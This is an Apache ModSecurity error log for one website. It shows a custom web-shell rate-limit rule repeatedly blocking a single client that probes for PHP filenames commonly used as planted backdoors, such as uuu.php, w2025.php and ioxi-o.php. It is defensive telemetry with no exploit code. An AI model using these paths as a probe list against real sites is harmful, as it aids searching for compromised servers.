[Mon Mar 23 18:42:06.860671 2026] [:error] [pid 57265:tid 57279] [client 65.52.65.130:16774] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "acEY_mNLjPJJkhuqCshH2wAAAQw"]
[Mon Mar 23 18:42:07.406599 2026] [:error] [pid 57265:tid 57282] [client 65.52.65.130:16850] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "acEY_2NLjPJJkhuqCshH3wAAAQ8"]
[Mon Mar 23 18:42:07.994818 2026] [:error] [pid 57265:tid 57281] [client 65.52.65.130:16853] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "acEY_2NLjPJJkhuqCshH5AAAAQ4"]
[Mon Mar 23 18:42:08.537577 2026] [:error] [pid 35165:tid 35174] [client 65.52.65.130:16789] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "acEZAM6udpN6Esk7JKu-NwAAAYY"]
[Mon Mar 23 18:42:09.132509 2026] [:error] [pid 23441:tid 23505] [client 65.52.65.130:16799] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acEZARq7S-oOqSXZEr7fgAAAAII"]
[Mon Mar 23 18:42:09.777901 2026] [:error] [pid 23539:tid 23550] [client 65.52.65.130:16794] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acEZAX7Dh3qWGSpIAZUi4QAAAMI"]
[Mon Mar 23 18:42:10.425147 2026] [:error] [pid 57265:tid 57275] [client 65.52.65.130:4034] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acEZAmNLjPJJkhuqCshH5gAAAQg"]
[Mon Mar 23 18:42:11.006114 2026] [:error] [pid 57265:tid 57270] [client 65.52.65.130:16873] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "acEZA2NLjPJJkhuqCshH6gAAAQM"]
[Mon Mar 23 18:42:11.649316 2026] [:error] [pid 57265:tid 57276] [client 65.52.65.130:16868] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/settings.php"] [unique_id "acEZA2NLjPJJkhuqCshH7gAAAQk"]
[Mon Mar 23 18:42:12.347292 2026] [:error] [pid 23441:tid 23527] [client 65.52.65.130:4053] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/settings.php"] [unique_id "acEZBBq7S-oOqSXZEr7fgwAAAJg"]
[Mon Mar 23 18:42:12.873607 2026] [:error] [pid 14573:tid 14587] [client 65.52.65.130:16878] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/settings.php"] [unique_id "acEZBO-oSmHn3q4_J1HOgQAAAUw"]
[Mon Mar 23 18:42:13.412896 2026] [:error] [pid 23539:tid 23552] [client 65.52.65.130:16842] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/settings.php"] [unique_id "acEZBX7Dh3qWGSpIAZUi5gAAAMQ"]
[Mon Mar 23 18:42:14.050411 2026] [:error] [pid 14573:tid 14593] [client 65.52.65.130:16779] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "acEZBu-oSmHn3q4_J1HOhwAAAVI"]
[Mon Mar 23 18:42:15.299042 2026] [:error] [pid 23441:tid 23504] [client 65.52.65.130:16843] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "acEZBxq7S-oOqSXZEr7fhwAAAIE"]
[Mon Mar 23 18:42:15.900772 2026] [:error] [pid 35165:tid 35175] [client 65.52.65.130:16795] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "acEZB86udpN6Esk7JKu-PAAAAYc"]
[Mon Mar 23 18:42:16.442368 2026] [:error] [pid 23439:tid 23450] [client 65.52.65.130:16861] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "acEZCKZv8XIzUKdgaMeSpgAAAAE"]
[Mon Mar 23 18:42:17.092372 2026] [:error] [pid 57265:tid 57269] [client 65.52.65.130:16869] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "acEZCWNLjPJJkhuqCshH8wAAAQI"]
[Mon Mar 23 18:42:17.751421 2026] [:error] [pid 23440:tid 23482] [client 65.52.65.130:16865] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "acEZCT49_8n8h_ttcUo1sQAAAEY"]
[Mon Mar 23 18:42:18.323648 2026] [:error] [pid 14573:tid 14594] [client 65.52.65.130:16785] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "acEZCu-oSmHn3q4_J1HOjgAAAVM"]
[Mon Mar 23 18:42:18.969806 2026] [:error] [pid 57265:tid 57284] [client 65.52.65.130:4075] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "acEZCmNLjPJJkhuqCshH_QAAARE"]
[Mon Mar 23 18:42:19.506733 2026] [:error] [pid 35165:tid 35189] [client 65.52.65.130:4032] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "acEZC86udpN6Esk7JKu-QAAAAZU"]
[Mon Mar 23 18:42:20.055741 2026] [:error] [pid 35165:tid 35173] [client 65.52.65.130:16780] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "acEZDM6udpN6Esk7JKu-QQAAAYU"]
[Mon Mar 23 18:42:20.670097 2026] [:error] [pid 23539:tid 23556] [client 65.52.65.130:16845] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "acEZDH7Dh3qWGSpIAZUi7gAAAMg"]
[Mon Mar 23 18:42:21.795579 2026] [:error] [pid 35165:tid 35169] [client 65.52.65.130:16812] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "acEZDc6udpN6Esk7JKu-QgAAAYE"]
[Mon Mar 23 18:42:22.309946 2026] [:error] [pid 35165:tid 35184] [client 65.52.65.130:16857] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "acEZDs6udpN6Esk7JKu-QwAAAZA"]
[Mon Mar 23 18:42:22.944228 2026] [:error] [pid 57265:tid 57286] [client 65.52.65.130:16798] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "acEZDmNLjPJJkhuqCshIAgAAARM"]
[Mon Mar 23 18:42:24.763657 2026] [:error] [pid 35165:tid 35191] [client 65.52.65.130:16894] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "acEZEM6udpN6Esk7JKu-RwAAAZc"]
[Mon Mar 23 18:42:25.474803 2026] [:error] [pid 23539:tid 23562] [client 65.52.65.130:16787] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "acEZEX7Dh3qWGSpIAZUi8QAAAM4"]
[Mon Mar 23 18:42:25.988955 2026] [:error] [pid 14573:tid 14586] [client 65.52.65.130:16862] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/swallowable.php"] [unique_id "acEZEe-oSmHn3q4_J1HOkwAAAUs"]
[Mon Mar 23 18:42:26.549503 2026] [:error] [pid 14573:tid 14595] [client 65.52.65.130:16832] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/swallowable.php"] [unique_id "acEZEu-oSmHn3q4_J1HOlAAAAVQ"]
[Mon Mar 23 18:42:27.241002 2026] [:error] [pid 35165:tid 35169] [client 65.52.65.130:4038] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/swallowable.php"] [unique_id "acEZE86udpN6Esk7JKu-TAAAAYE"]
[Mon Mar 23 18:42:27.842605 2026] [:error] [pid 23439:tid 23463] [client 65.52.65.130:16884] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/swallowable.php"] [unique_id "acEZE6Zv8XIzUKdgaMeSrAAAAA4"]
[Mon Mar 23 18:42:28.362583 2026] [:error] [pid 57265:tid 57289] [client 65.52.65.130:16872] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "acEZFGNLjPJJkhuqCshIBwAAARY"]
[Mon Mar 23 18:42:28.913357 2026] [:error] [pid 23439:tid 23455] [client 65.52.65.130:16837] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "acEZFKZv8XIzUKdgaMeSrgAAAAY"]
[Mon Mar 23 18:42:29.594571 2026] [:error] [pid 23539:tid 23561] [client 65.52.65.130:16807] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "acEZFX7Dh3qWGSpIAZUi8gAAAM0"]
[Mon Mar 23 18:42:30.145065 2026] [:error] [pid 57265:tid 57269] [client 65.52.65.130:4058] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "acEZFmNLjPJJkhuqCshICgAAAQI"]
[Mon Mar 23 18:42:30.755474 2026] [:error] [pid 57265:tid 57286] [client 65.52.65.130:16871] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "acEZFmNLjPJJkhuqCshIDQAAARM"]
[Mon Mar 23 18:42:31.368551 2026] [:error] [pid 57265:tid 57274] [client 65.52.65.130:16895] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "acEZF2NLjPJJkhuqCshIEAAAAQc"]
[Mon Mar 23 18:42:31.889186 2026] [:error] [pid 57265:tid 57279] [client 65.52.65.130:16823] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "acEZF2NLjPJJkhuqCshIFAAAAQw"]
[Mon Mar 23 18:42:34.826897 2026] [:error] [pid 23539:tid 23564] [client 65.52.65.130:16863] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "acEZGn7Dh3qWGSpIAZUi9gAAANA"]
[Mon Mar 23 18:42:35.431169 2026] [:error] [pid 23439:tid 23462] [client 65.52.65.130:4072] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sty.php"] [unique_id "acEZG6Zv8XIzUKdgaMeSsQAAAA0"]
[Mon Mar 23 18:42:36.027153 2026] [:error] [pid 23539:tid 23565] [client 65.52.65.130:4071] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sty.php"] [unique_id "acEZHH7Dh3qWGSpIAZUjYwAAANE"]
[Mon Mar 23 18:42:36.624997 2026] [:error] [pid 14573:tid 14587] [client 65.52.65.130:16881] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sty.php"] [unique_id "acEZHO-oSmHn3q4_J1HOwQAAAUw"]
[Mon Mar 23 18:42:37.150625 2026] [:error] [pid 14573:tid 14576] [client 65.52.65.130:16784] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sty.php"] [unique_id "acEZHe-oSmHn3q4_J1HOxAAAAUE"]
[Mon Mar 23 18:42:37.745466 2026] [:error] [pid 57265:tid 57282] [client 65.52.65.130:16874] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/txets.php"] [unique_id "acEZHWNLjPJJkhuqCshIHwAAAQ8"]
[Mon Mar 23 18:42:38.402430 2026] [:error] [pid 57265:tid 57270] [client 65.52.65.130:16858] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/txets.php"] [unique_id "acEZHmNLjPJJkhuqCshIIQAAAQM"]
[Mon Mar 23 18:42:39.613348 2026] [:error] [pid 57265:tid 57287] [client 65.52.65.130:16891] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/txets.php"] [unique_id "acEZH2NLjPJJkhuqCshIIgAAARQ"]
[Mon Mar 23 18:42:40.166006 2026] [:error] [pid 14573:tid 14582] [client 65.52.65.130:16827] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/txets.php"] [unique_id "acEZIO-oSmHn3q4_J1HOywAAAUc"]
[Mon Mar 23 18:42:42.943999 2026] [:error] [pid 14573:tid 14578] [client 65.52.65.130:16797] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "acEZIu-oSmHn3q4_J1HO0QAAAUM"]
[Mon Mar 23 18:42:43.528725 2026] [:error] [pid 23439:tid 23473] [client 65.52.65.130:16885] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "acEZI6Zv8XIzUKdgaMeSvgAAABg"]
[Mon Mar 23 18:42:44.035140 2026] [:error] [pid 23539:tid 23572] [client 65.52.65.130:16796] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "acEZJH7Dh3qWGSpIAZUjkwAAANg"]
[Mon Mar 23 18:42:44.635077 2026] [:error] [pid 23539:tid 23553] [client 65.52.65.130:16769] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "acEZJH7Dh3qWGSpIAZUjlgAAAMU"]
[Mon Mar 23 18:42:45.164717 2026] [:error] [pid 14573:tid 14579] [client 65.52.65.130:4001] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "acEZJe-oSmHn3q4_J1HO0wAAAUQ"]
[Mon Mar 23 18:42:46.185106 2026] [:error] [pid 57265:tid 57279] [client 65.52.65.130:16840] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "acEZJmNLjPJJkhuqCshIKAAAAQw"]
[Mon Mar 23 18:42:46.889051 2026] [:error] [pid 23441:tid 23525] [client 65.52.65.130:16877] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "acEZJhq7S-oOqSXZEr7flQAAAJY"]
[Mon Mar 23 18:42:47.454312 2026] [:error] [pid 35165:tid 35172] [client 65.52.65.130:16826] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "acEZJ86udpN6Esk7JKu-qAAAAYQ"]
